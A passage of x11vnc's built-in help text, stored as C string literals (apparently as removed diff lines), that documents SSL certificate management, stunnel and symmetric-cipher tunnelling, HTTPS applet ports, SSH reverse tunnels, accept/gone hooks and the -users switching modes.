-"\n"
-" The distinction between \"server\" and \"client\" is\n"
-" simply the choice of output filenames and sub-directory.\n"
-" This makes it so the -ssl SAVE-name option can easily\n"
-" pick up the x11vnc PEM file this option generates.\n"
-" And similarly makes it easy for the -sslverify option\n"
-" to pick up your client certs.\n"
-"\n"
-" There is nothing special about the filename or directory\n"
-" location of either the \"server\" and \"client\" certs.\n"
-" You can rename the files or move them to wherever\n"
-" you like.\n"
-"\n"
-" Precede this option with -ssldir [dir] to use a\n"
-" directory other than the default ~/.vnc/certs You will\n"
-" need to run -sslGenCA on that directory first before\n"
-" doing any -sslGenCert key creation.\n"
-"\n"
-" Note you cannot recreate a cert with exactly the same\n"
-" distiguished name (DN) as an existing one. To do so,\n"
-" you will need to edit the [dir]/CA/index.txt file to\n"
-" delete the line.\n"
-"\n"
-" Similar to -sslGenCA, you will be prompted to fill\n"
-" in some information that will be recorded in the\n"
-" certificate when it is created.\n"
-"\n"
-" Tip: if you know the fully-qualified hostname other\n"
-" people will be connecting to, you can use that as the\n"
-" CommonName \"CN\" to avoid some applications (e.g. web\n"
-" browsers and java plugin) complaining that it does not\n"
-" match the hostname.\n"
-"\n"
-" You will also need to supply the CA private key\n"
-" passphrase to unlock the private key created from\n"
-" -sslGenCA. This private key is used to sign the server\n"
-" or client certificate.\n"
-"\n"
-" The \"server\" certs can be used by x11vnc directly by\n"
-" pointing to them via the -ssl [pem] option. The default\n"
-" file will be ~/.vnc/certs/server.pem. This one would\n"
-" be used by simply typing -ssl SAVE. The pem file\n"
-" contains both the certificate and the private key.\n"
-" server.crt file contains the cert only.\n"
-"\n"
-" The \"client\" cert + private key file will need\n"
-" to be copied and imported into the VNC viewer\n"
-" side applications (Web browser, Java plugin,\n"
-" stunnel, etc.) Once that is done you can delete the\n"
-" \"client\" private key file on this machine since\n"
-" it is only needed on the VNC viewer side. The,\n"
-" e.g. ~/.vnc/certs/clients/<name>.pem contains both\n"
-" the cert and private key. The <name>.crt contains the\n"
-" certificate only.\n"
-"\n"
-" NOTE: It is very important to know one should\n"
-" generate new keys with a passphrase. Otherwise if an\n"
-" untrusted user steals the key file he could use it to\n"
-" masquerade as the x11vnc server (or VNC viewer client).\n"
-" You will be prompted whether to encrypt the key with\n"
-" a passphrase or not. It is recommended that you do.\n"
-" One inconvenience to a passphrase is that it must\n"
-" be typed in EVERY time x11vnc or the client app is\n"
-" started up.\n"
-"\n"
-" Examples:\n"
-"\n"
-" x11vnc -sslGenCert server\n"
-" x11vnc -ssl SAVE -display :0 ...\n"
-"\n"
-" and then on viewer using ss_vncviewer stunnel wrapper\n"
-" (see the FAQ):\n"
-
-" ss_vncviewer -verify ./cacert.crt hostname:0\n"
-"\n"
-" (this assumes the cacert.crt cert from -sslGenCA\n"
-" was safely copied to the VNC viewer machine where\n"
-" ss_vncviewer is run)\n"
-"\n"
-" Example using a name:\n"
-"\n"
-" x11vnc -sslGenCert server charlie\n"
-" x11vnc -ssl SAVE-charlie -display :0 ...\n"
-"\n"
-" Example for a client certificate (rarely used):\n"
-"\n"
-" x11vnc -sslGenCert client roger\n"
-" scp ~/.vnc/certs/clients/roger.pem somehost:.\n"
-" rm ~/.vnc/certs/clients/roger.pem\n"
-"\n"
-" x11vnc is then started with the option -sslverify\n"
-" ~/.vnc/certs/clients/roger.crt (or simply -sslverify\n"
-" roger), and on the viewer user on somehost could do\n"
-" for example:\n"
-"\n"
-" ss_vncviewer -mycert ./roger.pem hostname:0\n"
-"\n"
-" If you set the env. var REQ_ARGS='...' it will be\n"
-" passed to openssl req(1). A common use would be\n"
-" REQ_ARGS='-days 1095' to bump up the expiration date\n"
-" (3 years in this case).\n"
-"\n"
-"-sslEncKey pem Utility to encrypt an existing PEM file with a\n"
-" passphrase you supply when prompted. For that key to be\n"
-" used (e.g. by x11vnc) the passphrase must be supplied\n"
-" each time.\n"
-"\n"
-" The \"SAVE\" notation described under -ssl applies as\n"
-" well. (precede this option with -ssldir [dir] to refer\n"
-" a directory besides the default ~/.vnc/certs)\n"
-"\n"
-" The openssl(1) program must be installed on the system\n"
-" and available in PATH. After the Key file is encrypted\n"
-" the x11vnc command exits; the VNC server is not run.\n"
-"\n"
-" Examples:\n"
-" x11vnc -sslEncKey /path/to/foo.pem\n"
-" x11vnc -sslEncKey SAVE\n"
-" x11vnc -sslEncKey SAVE-charlie\n"
-"\n"
-"-sslCertInfo pem Prints out information about an existing PEM file.\n"
-" In addition the public certificate is also printed.\n"
-" The openssl(1) program must be in PATH. Basically the\n"
-" command \"openssl x509 -text\" is run on the pem.\n"
-"\n"
-" After the info is printed the x11vnc command exits;\n"
-" the VNC server is not run.\n"
-"\n"
-" The \"SAVE\" notation described under -ssl applies\n"
-" as well.\n"
-"\n"
-" Using \"LIST\" will give a list of all certs being\n"
-" managed (in the ~/.vnc/certs dir, use -ssldir to refer\n"
-" to another dir). \"ALL\" will print out the info for\n"
-" every managed key (this can be very long). Giving a\n"
-" client or server cert shortname will also try a lookup\n"
-" (e.g. -sslCertInfo charlie). Use \"LISTL\" or \"LL\"\n"
-" for a long (ls -l style) listing.\n"
-"\n"
-" Using \"HASHON\" will create subdirs [dir]/HASH and\n"
-" [dir]/HASH with OpenSSL hash filenames (e.g. 0d5fbbf1.0)\n"
-" symlinks pointing up to the corresponding *.crt file.\n"
-" ([dir] is ~/.vnc/certs or one given by -ssldir.)\n"
-" This is a useful way for other OpenSSL applications\n"
-" (e.g. stunnel) to access all of the certs without\n"
-" having to concatenate them. x11vnc will not use them\n"
-" unless you specifically reference them. \"HASHOFF\"\n"
-" removes these HASH subdirs.\n"
-"\n"
-" The LIST, LISTL, LL, ALL, HASHON, HASHOFF words can\n"
-" also be lowercase, e.g. \"list\".\n"
-"\n"
-"-sslDelCert pem Prompts you to delete all .crt .pem .key .req files\n"
-" associated with [pem]. x11vnc then exits. \"SAVE\"\n"
-" and lookups as in -sslCertInfo apply as well.\n"
-"\n"
-"-sslScripts Prints out both the 'genCA' and 'genCert' x11vnc\n"
-" openssl wrapper scripts for you to examine, modify, etc.\n"
-" The scripts are printed to stdout and then the x11vnc\n"
-" program exits.\n"
-"\n"
-"\n"
-"-stunnel [pem] Use the stunnel(8) (stunnel.mirt.net) to provide an\n"
-" encrypted SSL tunnel between viewers and x11vnc.\n"
-"\n"
-" This external tunnel method was implemented prior to the\n"
-" integrated -ssl encryption described above. It still\n"
-" works well and avoids the requirement of linking with\n"
-" the OpenSSL libraries. This mode requires stunnel\n"
-" to be installed on the system and available via PATH\n"
-" (n.b. stunnel is often installed in sbin directories).\n"
-" Version 4.x of stunnel is assumed (but see -stunnel3\n"
-" below.)\n"
-"\n"
-" [pem] is optional, use \"-stunnel /path/to/stunnel.pem\"\n"
-" to specify a PEM certificate file to pass to stunnel.\n"
-" See the -ssl option for more info on certificate files.\n"
-"\n"
-" Whether or not your stunnel has its own certificate\n"
-" depends on your stunnel configuration; stunnel often\n"
-" generates one at install time. See your stunnel\n"
-" documentation for details. In any event, if you want to\n"
-" use this certificate you must supply the full path to it\n"
-" as [pem]. Note: the file may only be readable by root.\n"
-"\n"
-" [pem] may also be the special strings \"TMP\", \"SAVE\",\n"
-" and \"SAVE...\" as described in the -ssl option.\n"
-" If [pem] is not supplied, \"SAVE\" is assumed.\n"
-"\n"
-" Note that the VeNCrypt, ANONTLS, and \"ANON\" modes\n"
-" are not supported in -stunnel mode.\n"
-"\n"
-" stunnel is started up as a child process of x11vnc and\n"
-" any SSL connections stunnel receives are decrypted and\n"
-" sent to x11vnc over a local socket. The strings\n"
-" \"The SSL VNC desktop is ...\" and \"SSLPORT=...\"\n"
-" are printed out at startup to indicate this.\n"
-"\n"
-" The -localhost option is enforced by default to avoid\n"
-" people routing around the SSL channel. Use -env\n"
-" STUNNEL_DISABLE_LOCALHOST=1 to disable this security\n"
-" requirement.\n"
-"\n"
-" Set -env STUNNEL_DEBUG=1 for more debugging printout.\n"
-"\n"
-" Set -env STUNNEL_PROG=xxx to the full path of stunnel\n"
-" program you want to be used (e.g. /usr/bin/stunnel4).\n"
-"\n"
-" Set -env STUNNEL_LISTEN=xxx to the address of the\n"
-" network interface to listen on (the default is to listen\n"
-" on all interfaces), e.g. STUNNEL_LISTEN=192.168.1.100.\n"
-"\n"
-" A simple way to add IPv6 support is STUNNEL_LISTEN=::\n"
-"\n"
-" Your VNC viewer will also need to be able to connect\n"
-" via SSL. Unfortunately not too many do this. See the\n"
-" information about SSL viewers under the -ssl option.\n"
-" The x11vnc project's SSVNC is an option.\n"
-"\n"
-" Also, in the x11vnc distribution, patched TightVNC\n"
-" and UltraVNC Java applet jar files are provided in\n"
-" the classes/ssl directory that do SSL connections.\n"
-" Enable serving them with the -http, -http_ssl, or\n"
-" -httpdir (see the option descriptions for more info.)\n"
-"\n"
-" Note that for the Java viewer applet usage the\n"
-" \"?PORT=xxxx\" in the various URLs printed at startup\n"
-" will need to be supplied to the web browser to connect\n"
-" properly.\n"
-"\n"
-" Currently the automatic \"single port\" HTTPS mode of\n"
-" -ssl is not fully supported in -stunnel mode. However,\n"
-" it can be emulated via:\n"
-"\n"
-" %% x11vnc -stunnel -http_ssl -http_oneport ...\n"
-"\n"
-" In general, it is also not too difficult to set up\n"
-" an stunnel or other SSL tunnel on the viewer side.\n"
-" A simple example on Unix using stunnel 3.x is:\n"
-"\n"
-" %% stunnel -c -d localhost:5901 -r remotehost:5900\n"
-" %% vncviewer localhost:1\n"
-"\n"
-" For Windows, stunnel has been ported to it and there\n"
-" are probably other such tools available. See the FAQ\n"
-" and SSVNC for more examples.\n"
-"\n"
-"-stunnel3 [pem] Use version 3.x stunnel command line syntax instead of\n"
-" version 4.x. The -http/-httpdir Java applet serving\n"
-" is currently not available in this mode.\n"
-"\n"
-"-enc cipher:keyfile Use symmetric encryption with cipher \"cipher\"\n"
-" and secret key data in \"keyfile\". If keyfile is\n"
-" pw=<string> then \"string\" is used as the key data.\n"
-"\n"
-" NOTE: It is recommended that you use SSL via the -ssl\n"
-" option instead of this option because SSL is well\n"
-" understood and takes great care to establish unique\n"
-" session keys and is more compatible with other software.\n"
-" Use this option if you do not want to deal with SSL\n"
-" certificates for authentication and do not want to\n"
-" use SSH but want some encryption for your VNC session.\n"
-" Or if you must interface with a symmetric key tunnel\n"
-" that you do not have control over.\n"
-"\n"
-" Note that this mode will NOT work with the UltraVNC DSM\n"
-" plugins because they alter the RFB protocol in addition\n"
-" to tunnelling with the symmetric cipher (an unfortunate\n"
-" choice of implementation...)\n"
-"\n"
-" cipher can be one of: arc4, aesv2, aes-cfb, blowfish,\n"
-" aes256, or 3des. See the OpenSSL documentation for\n"
-" more info. The keysize is 128 bits (except for aes256).\n"
-" Here is one way to make a keyfile with that many bits:\n"
-"\n"
-" dd if=/dev/random of=./my.key bs=16 count=1\n"
-"\n"
-" you will need to securely share this key with the other\n"
-" side of the VNC connection (See SSVNC for examples).\n"
-"\n"
-" Example: -enc blowfish:./my.key\n"
-" Example: -enc blowfish:pw=swordfish\n"
-"\n"
-" By default 16 bytes of random salt followed by 16 bytes\n"
-" of random initialization vector are sent at the very\n"
-" beginning of the stream. The other side must read these\n"
-" and initialize their cipher with them. These values\n"
-" make the session key unique (without them the security\n"
-" is minimal). Similarly, the other side must send us\n"
-" its random salt and IV with those same lengths.\n"
-"\n"
-" The salt and key data are combined to create a session\n"
-" key using an md5 hash as described in EVP_BytesToKey(3).\n"
-"\n"
-" The exact call is: EVP_BytesToKey(Cipher, EVP_md5(),\n"
-" salt, keydata, len, 1, keystr, NULL); where salt is\n"
-" the random data as described above, and keydata is the\n"
-" shared secret key data. keystr is the resulting session\n"
-" key. The cipher is then seeded with keystr and uses\n"
-" the random initialization vector as its first block.\n"
-"\n"
-" To modify the amount of random salt and initialization\n"
-" vector use cipher@n,m where n is the salt length and\n"
-" m the initialization vector length. E.g.\n"
-"\n"
-" -enc aes-cfb@8,16:./my.key\n"
-"\n"
-" It is not a good idea to set either one to zero,\n"
-" although you may be forced to if the other side of the\n"
-" tunnel is not under your control.\n"
-"\n"
-" To skip the salt and EVP_BytesToKey MD5 entirely (no\n"
-" hashing is done: the keydata is directly inserted into\n"
-" the cipher) specify \"-1\" for the salt, e.g.\n"
-"\n"
-" -enc blowfish@-1,16:./my.key\n"
-"\n"
-" The message digest can also be changed to something\n"
-" besides the default MD5. Use cipher@md+n,m where \"md\"\n"
-" can be one of sha, sha1, md5, or ripe. For example:\n"
-"\n"
-" -enc arc4@sha+8,16:./my.key\n"
-"\n"
-" The SSVNC vnc viewer project supplies a symmetric\n"
-" encryption tool named \"ultravnc_dsm_helper\" that can\n"
-" be used on the viewer side. For example:\n"
-"\n"
-" ssvncviewer exec='ultravnc_dsm_helper arc4 my.key 0 h:p'\n"
-"\n"
-" where h:p is the hostname and port of the x11vnc server.\n"
-" ultravnc_dsm_helper may also be used standalone to\n"
-" provide a symmetric encryption tunnel for any viewer\n"
-" or server (VNC or otherwise.) The cipher (1st arg)\n"
-" is basically the same syntax as we use above.\n"
-"\n"
-" Also see the 'Non-Ultra DSM' SSVNC option for the\n"
-" 'UltraVNC DSM Encryption Plugin' advanced option.\n"
-"\n"
-" For both ways of using the viewer, you can specify the\n"
-" salt,ivec sizes (in GUI or, e.g. arc4@8,16).\n"
-"\n"
-"-https [port] Use a special, separate HTTPS port (-ssl and\n"
-" -stunnel modes only) for HTTPS Java viewer applet\n"
-" downloading. I.e. not 5900 and not 5800 (the defaults.)\n"
-"\n"
-" BACKGROUND: In -ssl mode, it turns out you can use the\n"
-" single VNC port (e.g. 5900) for both VNC and HTTPS\n"
-" connections. (HTTPS is used to retrieve a SSL-aware\n"
-" VncViewer.jar applet that is provided with x11vnc).\n"
-" Since both use SSL the implementation was extended to\n"
-" detect if HTTP traffic (i.e. GET) is taking place and\n"
-" handle it accordingly. The URL would be, e.g.:\n"
-"\n"
-" https://mymachine.org:5900/\n"
-"\n"
-" This is convenient for firewalls, etc, because only one\n"
-" port needs to be allowed in. However, this heuristic\n"
-" adds a few seconds delay to each connection and can be\n"
-" unreliable (especially if the user takes much time to\n"
-" ponder the Certificate dialogs in his browser, Java VM,\n"
-" or VNC Viewer applet. That's right 3 separate \"Are\n"
-" you sure you want to connect?\" dialogs!)\n"
-"\n"
-" END OF BACKGROUND.\n"
-"\n"
-" USAGE: So use the -https option to provide a separate,\n"
-" more reliable HTTPS port that x11vnc will listen on. If\n"
-" [port] is not provided (or is 0), one is autoselected.\n"
-" The URL to use is printed out at startup.\n"
-"\n"
-" The SSL Java applet directory is specified via the\n"
-" -httpdir option. If not supplied, -https will try\n"
-" to guess the directory as though the -http option\n"
-" was supplied.\n"
-"\n"
-"-httpsredir [port] In -ssl mode with the Java applet retrieved via HTTPS,\n"
-" when the HTML file containing applet parameters\n"
-" ('index.vnc' or 'proxy.vnc') is sent do NOT set the\n"
-" applet PORT parameter to the actual VNC port but set it\n"
-" to \"port\" instead. If \"port\" is not supplied, then\n"
-" the port number is guessed from the Host: HTTP header.\n"
-"\n"
-" This is useful when an incoming TCP connection\n"
-" redirection is performed by a router/gateway/firewall\n"
-" from one port to an internal machine where x11vnc is\n"
-" listening on a different port. The Java applet needs to\n"
-" connect to the firewall/router port, not the VNC port\n"
-" on the internal workstation. For example, one could\n"
-" redir from mygateway.com:443 to workstation:5900.\n"
-"\n"
-" This spares the user from having to type in\n"
-" https://mygateway.com/?PORT=443 into their web\n"
-" browser. Note that port 443 is the default https port;\n"
-" other ports must be explicitly indicated, for example:\n"
-" https://mygateway.com:8000/?PORT=8000. To avoid having\n"
-" to include the PORT= in the browser URL, simply supply\n"
-" \"-httpsredir\" to x11vnc.\n"
-"\n"
-" This option does not work in -stunnel mode.\n"
-"\n"
-" More tricks: set the env var X11VNC_EXTRA_HTTPS_PARAMS\n"
-" to be extra URL parameters to use. This way you do\n"
-" not need to specify extra PARAMS in the index.vnc file.\n"
-" E.g. x11vnc -env X11VNC_EXTRA_HTTPS_PARAMS='?GET=1' ...\n"
-"\n"
-" If you do not want to expose the non-SSL HTTP port to\n"
-" the network (i.e. you just want the single VNC/HTTPS\n"
-" port, e.g. 5900, open for connections) then specify the\n"
-" option -env X11VNC_HTTP_LISTEN_LOCALHOST=1 This way\n"
-" the connection to the LibVNCServer httpd server will\n"
-" only be available on localhost (note that in -ssl mode,\n"
-" HTTPS requests are redirected from SSL to the non-SSL\n"
-" LibVNCServer HTTP server.)\n"
-"\n"
-"-http_oneport For UN-encrypted connections mode (i.e. no -ssl,\n"
-" -stunnel, or -enc options), allow the Java VNC Viewer\n"
-" applet to be downloaded thru the VNC port via HTTP.\n"
-"\n"
-" That is to say, you can use a single port for Java\n"
-" applet viewer connections by using a URL in your web\n"
-" browser like this, for example:\n"
-"\n"
-" http://hostname:5900\n"
-"\n"
-" The regular, two-port mode, URL http://hostname:5800\n"
-" will continue to work as well.\n"
-"\n"
-" As mentioned above, this mode will NOT work with\n"
-" the -ssl, -stunnel, or -enc encryption options.\n"
-" Note that is it equivalent to '-enc none' (i.e. it\n"
-" uses the same detection mechanism as for HTTPS, but\n"
-" with no encryption.)\n"
-"\n"
-" HTTPS single-port is on by default in -ssl encrypted\n"
-" mode (and -enc too), so you only need -http_oneport\n"
-" when doing non-SSL encrypted connections.\n"
-"\n"
-" This mode could also be useful for SSH tunnels since\n"
-" it means only one port needs to be redirected.\n"
-"\n"
-" The -httpsredir option may also be useful for this\n"
-" mode when using an SSH tunnel as well as for router\n"
-" port redirections.\n"
-"\n"
-" Note that the -env X11VNC_HTTP_LISTEN_LOCALHOST=1\n"
-" option described above under -httpsredir applies for\n"
-" the LibVNCServer httpd server in all cases (ssl or not.)\n"
-"\n"
-"-ssh user@host:disp Create a remote listening port on machine \"host\"\n"
-" via a SSH tunnel using the -R rport:localhost:lport\n"
-" method. lport will be the local x11vnc listening port,\n"
-" so a connection to rport (5900+disp) on \"host\"\n"
-" will reach x11vnc. E.g. fred@snoopy.com:0\n"
-"\n"
-" This could be useful if a firewall/router prevents\n"
-" incoming connections to the x11vnc machine, but\n"
-" the ssh machine \"host\" can be reached by the VNC\n"
-" viewer. \"user@\" is not needed unless the remote unix\n"
-" username differs from the current one.\n"
-"\n"
-" By default the remote sshd is usually configured to\n"
-" listen only on localhost for rport, so the viewer may\n"
-" need to ssh -L redir to \"host\" as well (See SSVNC to\n"
-" automate this). The sshd setting GatewayPorts enables\n"
-" listening on all interfaces for rport; viewers can\n"
-" reach it more easily.\n"
-"\n"
-" \"disp\" is the VNC display for the remote SSH side,\n"
-" e.g. 0 corresponds to port 5900, etc. If disp is\n"
-" greater than 200 the value is used as the port. Use a\n"
-" negative value to force a low port, e.g. host:-80 will\n"
-" use port 80.\n"
-"\n"
-" If ssh-agent is not active, then the ssh password needs\n"
-" to be entered in the terminal where x11vnc is running.\n"
-"\n"
-" By default the remote ssh will issue a 'sleep 300' to\n"
-" wait for the incoming connection for 5 mins. To modify\n"
-" this use user@host:disp+secs.\n"
-"\n"
-" If the remote SSH server is on a non-standard port\n"
-" (i.e. not 22) use user@host:port:disp+secs.\n"
-"\n"
-" Note that the ssh process MAY NOT be killed when\n"
-" x11vnc exits. It tries by looking at ps(1) output.\n"
-"\n"
-"-usepw If no other password method was supplied on the command\n"
-" line, first look for ~/.vnc/passwd and if found use it\n"
-" with -rfbauth; next, look for ~/.vnc/passwdfile and\n"
-" use it with -passwdfile; otherwise, prompt the user\n"
-" for a password to create ~/.vnc/passwd and use it with\n"
-" the -rfbauth option. If none of these succeed x11vnc\n"
-" exits immediately.\n"
-"\n"
-"-storepasswd pass file Store password \"pass\" as the VNC password in the\n"
-" file \"file\". Once the password is stored the\n"
-" program exits. Use the password via \"-rfbauth file\"\n"
-"\n"
-" If called with no arguments, \"x11vnc -storepasswd\",\n"
-" the user is prompted for a password and it is stored\n"
-" in the file ~/.vnc/passwd. Called with one argument,\n"
-" that will be the file to store the prompted password in.\n"
-"\n"
-"-nopw Disable the big warning message when you use x11vnc\n"
-" without some sort of password.\n"
-"\n"
-"-accept string Run a command (possibly to prompt the user at the\n"
-" X11 display) to decide whether an incoming client\n"
-" should be allowed to connect or not. \"string\" is\n"
-" an external command run via system(3) or some special\n"
-" cases described below. Be sure to quote \"string\"\n"
-" if it contains spaces, shell characters, etc. If the\n"
-" external command returns 0 the client is accepted,\n"
-" otherwise the client is rejected. See below for an\n"
-" extension to accept a client view-only.\n"
-"\n"
-" If x11vnc is running as root (say from inetd(8) or from\n"
-" display managers xdm(1), gdm(1), etc), think about the\n"
-" security implications carefully before supplying this\n"
-" option (likewise for the -gone option).\n"
-"\n"
-" Environment: The RFB_CLIENT_IP environment variable will\n"
-" be set to the incoming client IP number and the port\n"
-" in RFB_CLIENT_PORT (or -1 if unavailable). Similarly,\n"
-" RFB_SERVER_IP and RFB_SERVER_PORT (the x11vnc side\n"
-" of the connection), are set to allow identification\n"
-" of the tcp virtual circuit. The x11vnc process\n"
-" id will be in RFB_X11VNC_PID, a client id number in\n"
-" RFB_CLIENT_ID, and the number of other connected clients\n"
-" in RFB_CLIENT_COUNT. RFB_MODE will be \"accept\".\n"
-" RFB_STATE will be PROTOCOL_VERSION, SECURITY_TYPE,\n"
-" AUTHENTICATION, INITIALISATION, NORMAL, or UNKNOWN\n"
-" indicating up to which state the client has achieved.\n"
-" RFB_LOGIN_VIEWONLY will be 0, 1, or -1 (unknown).\n"
-" RFB_USERNAME, RFB_LOGIN_TIME, and RFB_CURRENT_TIME may\n"
-" also be set.\n"
-"\n"
-" If \"string\" is \"popup\" then a builtin popup window\n"
-" is used. The popup will time out after 120 seconds,\n"
-" use \"popup:N\" to modify the timeout to N seconds\n"
-" (use 0 for no timeout).\n"
-"\n"
-" In the case of \"popup\" and when the -unixpw option\n"
-" is specified, then a *second* window will be popped\n"
-" up after the user successfully logs in via his UNIX\n"
-" password. This time the user will be identified as\n"
-" UNIX:username@hostname, the \"UNIX:\" prefix indicates\n"
-" which user the viewer logged as via -unixpw. The first\n"
-" popup is only for whether to allow him to even *try*\n"
-" to login via unix password.\n"
-"\n"
-" If \"string\" is \"xmessage\" then an xmessage(1)\n"
-" invocation is used for the command. xmessage must be\n"
-" installed on the machine for this to work.\n"
-"\n"
-" Both \"popup\" and \"xmessage\" will present an option\n"
-" for accepting the client \"View-Only\" (the client\n"
-" can only watch). This option will not be presented if\n"
-" -viewonly has been specified, in which case the entire\n"
-" display is view only.\n"
-"\n"
-" If the user supplied command is prefixed with something\n"
-" like \"yes:0,no:*,view:3 mycommand ...\" then this\n"
-" associates the numerical command return code with\n"
-" the actions: accept, reject, and accept-view-only,\n"
-" respectively. Use \"*\" instead of a number to indicate\n"
-" the default action (in case the command returns an\n"
-" unexpected value). E.g. \"no:*\" is a good choice.\n"
-"\n"
-" Note that x11vnc blocks while the external command\n"
-" or popup is running (other clients may see no updates\n"
-" during this period). So a person sitting a the physical\n"
-" display is needed to respond to an popup prompt. (use\n"
-" a 2nd x11vnc if you lock yourself out).\n"
-"\n"
-" More -accept tricks: use \"popupmouse\" to only allow\n"
-" mouse clicks in the builtin popup to be recognized.\n"
-" Similarly use \"popupkey\" to only recognize\n"
-" keystroke responses. These are to help avoid the\n"
-" user accidentally accepting a client by typing or\n"
-" clicking. All 3 of the popup keywords can be followed\n"
-" by +N+M to supply a position for the popup window.\n"
-" The default is to center the popup window.\n"
-"-afteraccept string As -accept, except to run a user supplied command after\n"
-" a client has been accepted and authenticated. RFB_MODE\n"
-" will be set to \"afteraccept\" and the other RFB_*\n"
-" variables are as in -accept. Unlike -accept, the\n"
-" command return code is not interpreted by x11vnc.\n"
-" Example: -afteraccept 'killall xlock &'\n"
-"-gone string As -accept, except to run a user supplied command when\n"
-" a client goes away (disconnects). RFB_MODE will be\n"
-" set to \"gone\" and the other RFB_* variables are as\n"
-" in -accept. The \"popup\" actions apply as well.\n"
-" Unlike -accept, the command return code is not\n"
-" interpreted by x11vnc. Example: -gone 'xlock &'\n"
-"\n"
-"-users list If x11vnc is started as root (say from inetd(8) or from\n"
-" display managers xdm(1), gdm(1), etc), then as soon\n"
-" as possible after connections to the X display are\n"
-" established try to switch to one of the users in the\n"
-" comma separated \"list\". If x11vnc is not running as\n"
-" root this option is ignored.\n"
-"\n"
-" Why use this option? In general it is not needed since\n"
-" x11vnc is already connected to the X display and can\n"
-" perform its primary functions. The option was added\n"
-" to make some of the *external* utility commands x11vnc\n"
-" occasionally runs work properly. In particular under\n"
-" GNOME and KDE to implement the \"-solid color\" feature\n"
-" external commands (gconftool-2 and dcop) unfortunately\n"
-" must be run as the user owning the desktop session.\n"
-" Since this option switches userid it also affects the\n"
-" userid used to run the processes for the -accept and\n"
-" -gone options. It also affects the ability to read\n"
-" files for options such as -connect, -allow, and -remap\n"
-" and also the ultra and tight filetransfer feature if\n"
-" enabled. Note that the -connect file is also sometimes\n"
-" written to.\n"
-"\n"
-" So be careful with this option since in some situations\n"
-" its use can decrease security.\n"
-"\n"
-" In general the switch to a user will only take place\n"
-" if the display can still be successfully opened as that\n"
-" user (this is primarily to try to guess the actual owner\n"
-" of the session). Example: \"-users fred,wilma,betty\".\n"
-" Note that a malicious local user \"barney\" by\n"
-" quickly using \"xhost +\" when logging in may possibly\n"
-" get the x11vnc process to switch to user \"fred\".\n"
-" What happens next?\n"
-"\n"
-" Under display managers it may be a long time before\n"
-" the switch succeeds (i.e. a user logs in). To instead\n"
-" make it switch immediately regardless if the display\n"
-" can be reopened prefix the username with the \"+\"\n"
-" character. E.g. \"-users +bob\" or \"-users +nobody\".\n"
-"\n"
-" The latter (i.e. switching immediately to user\n"
-" \"nobody\") is the only obvious use of the -users option\n"
-" that increases security.\n"
-"\n"
-" Use the following notation to associate a group with\n"
-" a user: user1.group1,user2.group2,... Note that\n"
-" initgroups(2) will still be called first to try to\n"
-" switch to ALL of a user's groups (primary and additional\n"
-" groups). Only if that fails or it is not available\n"
-" then the single group specified as above (or the user's\n"
-" primary group if not specified) is switched to with\n"
-" setgid(2). Use -env X11VNC_SINGLE_GROUP=1 to prevent\n"
-" trying initgroups(2) and only switch to the single\n"
-" group. This sort of setting is only really needed to\n"
-" make the ultra or tight filetransfer permissions work\n"
-" properly. This format applies to any comma separated list\n"
-" of users, even the special \"=\" modes described below.\n"
-"\n"
-" In -unixpw mode, if \"-users unixpw=\" is supplied\n"
-" then after a user authenticates himself via the\n"
-" -unixpw mechanism, x11vnc will try to switch to that\n"
-" user as though \"-users +username\" had been supplied.\n"
-" If you want to limit which users this will be done for,\n"
-" provide them as a comma separated list after \"unixpw=\"\n"
-" Groups can also be specified as described above.\n"
-"\n"
-" Similarly, in -ssl mode, if \"-users sslpeer=\" is\n"
-" supplied then after an SSL client authenticates with his\n"
-" cert (the -sslverify option is required for this) x11vnc\n"
-" will extract a UNIX username from the \"emailAddress\"\n"
-" field (username@hostname.com) of the \"Subject\" of the\n"
-" x509 SSL cert and then try to switch to that user as\n"
-" though \"-users +username\" had been supplied. If you\n"
-" want to limit which users this will be done for, provide\n"
-" them as a comma separated list after \"sslpeer=\".\n"
-" Set the env. var X11VNC_SSLPEER_CN to use the Common\n"
-" Name (normally a hostname) instead of the Email field.\n"
-"\n"
-" NOTE: for sslpeer= mode the x11vnc administrator must\n"
-" take care that any client certs he adds to -sslverify\n"
-" have the intended UNIX username in the \"emailAddress\"\n"
-" field of the cert. Otherwise a user may be able to\n"
-" log in as another. This command can be of use in\n"
-" checking: \"openssl x509 -text -in file.crt\", see the\n"
-" \"Subject:\" line. Also, along with the normal RFB_*\n"
-" env. vars. (see -accept) passed to external cmd=\n"
-" commands, RFB_SSL_CLIENT_CERT will be set to the\n"
-" client's x509 certificate string.\n"
-"\n"
-" The sslpeer= mode can aid finding X sessions via the\n"
-" FINDDISPLAY and FINDCREATEDISPLAY mechanisms.\n"
-"\n"
-" To immediately switch to a user *before* connections\n"
-" to the X display are made or any files opened use the\n"
-" \"=\" character: \"-users =bob\". That user needs to\n"
-" be able to open the X display and any files of course.\n"
-"\n"
-" The special user \"guess=\" means to examine the utmpx\n"
-" database (see who(1)) looking for a user attached to\n"
-" the display number (from DISPLAY or -display option)\n"
-" and try him/her. To limit the list of guesses, use:\n"
-" \"-users guess=bob,betty\".\n"
-"\n"
-" Even more sinister is the special user \"lurk=\"\n"
-" that means to try to guess the DISPLAY from the utmpx\n"
-" login database as well. So it \"lurks\" waiting for\n"
-" anyone to log into an X session and then connects to it.\n"
-" Specify a list of users after the = to limit which users\n"
-" will be tried. To enable a different searching mode, if\n"
-" the first user in the list is something like \":0\" or\n"
-" \":0-2\" that indicates a range of DISPLAY numbers that\n"
-" will be tried (regardless of whether they are in the\n"
-" utmpx database) for all users that are logged in. Also\n"
-" see the \"-display WAIT:...\" functionality. Examples:\n"
-" \"-users lurk=\" and also \"-users lurk=:0-1,bob,mary\"\n"
-"\n"
-" Be especially careful using the \"guess=\" and \"lurk=\"\n"
-" modes. They are not recommended for use on machines\n"
-" with untrustworthy local users.\n"
-"\n"
-"-noshm Do not use the MIT-SHM extension for the polling.\n"
-" Remote displays can be polled this way: be careful this\n"
-" can use large amounts of network bandwidth. This is\n"
-" also of use if the local machine has a limited number\n"
-" of shm segments and -onetile is not sufficient.\n"
-"-flipbyteorder Sometimes needed if remotely polled host has different\n"
-" endianness. Ignored unless -noshm is set.\n"
-"-onetile Do not use the new copy_tiles() framebuffer mechanism,\n"
-" just use 1 shm tile for polling. Limits shm segments\n"
-" used to 3.\n"
-"\n"
-" To disable any automatic shm reduction set the\n"
-" env. var. X11VNC_NO_LIMIT_SHM.\n"
-"\n"
-"-solid [color] To improve performance, when VNC clients are connected\n"
-" try to change the desktop background to a solid color.\n"
-" The [color] is optional: the default color is \"cyan4\".\n"
-" For a different one specify the X color (rgb.txt name,\n"
